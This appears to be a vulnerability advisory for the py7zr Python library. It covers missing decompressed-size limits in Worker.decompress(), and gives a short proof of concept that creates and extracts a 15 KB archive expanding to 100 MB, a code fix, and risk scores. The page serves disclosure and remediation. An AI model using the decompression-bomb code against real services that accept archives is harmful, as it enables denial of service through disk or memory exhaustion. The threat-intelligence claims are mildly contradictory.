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PYSEC-2026-2972

MediumCVSS 6.9 / 10
Published Jul 13, 2026·Last modified Jul 13, 2026
Affected Components(0)

No affected components available

Description

py7zr's Worker.decompress() extracts archive entries without tracking total decompressed size. A crafted .7z file can exhaust disk or memory before the extraction completes.

Measured: 15.6 KB archive → 100 MB output (6,556:1 ratio).

Proof of concept:

import py7zr, tempfile, os

# create bomb: compress 100MB of zeros into ~15KB
bomb_path = tempfile.mktemp(suffix='.7z')
with py7zr.SevenZipFile(bomb_path, 'w') as z:
    import io
    z.writef(io.BytesIO(b'\x00' * 100 * 1024 * 1024), 'bomb.bin')

print(f'archive size: {os.path.getsize(bomb_path):,} bytes')

# extract — no size check
with py7zr.SevenZipFile(bomb_path, 'r') as z:
    z.extractall(path=tempfile.mkdtemp())

print('extracted 100 MB from ~15 KB archive')

Root cause: Worker.decompress() in py7zr/worker.py writes decompressed data directly to disk without a running total or configurable size limit. There is no equivalent of Python's zipfile max_size parameter.

Fix: track cumulative decompressed bytes and raise before writing if a limit is exceeded:

MAX_EXTRACT_SIZE = 2 * 1024 ** 3  # 2 GB default, configurable

total = 0
for chunk in decompressed_chunks:
    total += len(chunk)
    if total > MAX_EXTRACT_SIZE:
        raise py7zr.exceptions.DecompressionBombError(
            f'Extraction aborted: decompressed size exceeded {MAX_EXTRACT_SIZE} bytes'
        )
    outfile.write(chunk)

Tested on py7zr 0.22.0, Python 3.12, Ubuntu 22.04.

Risk Scores
Base Score
6.9

The vulnerability requires local access to the device to be exploited. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability.

Threat Intelligence
4.6

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
0.21%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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Medium severity
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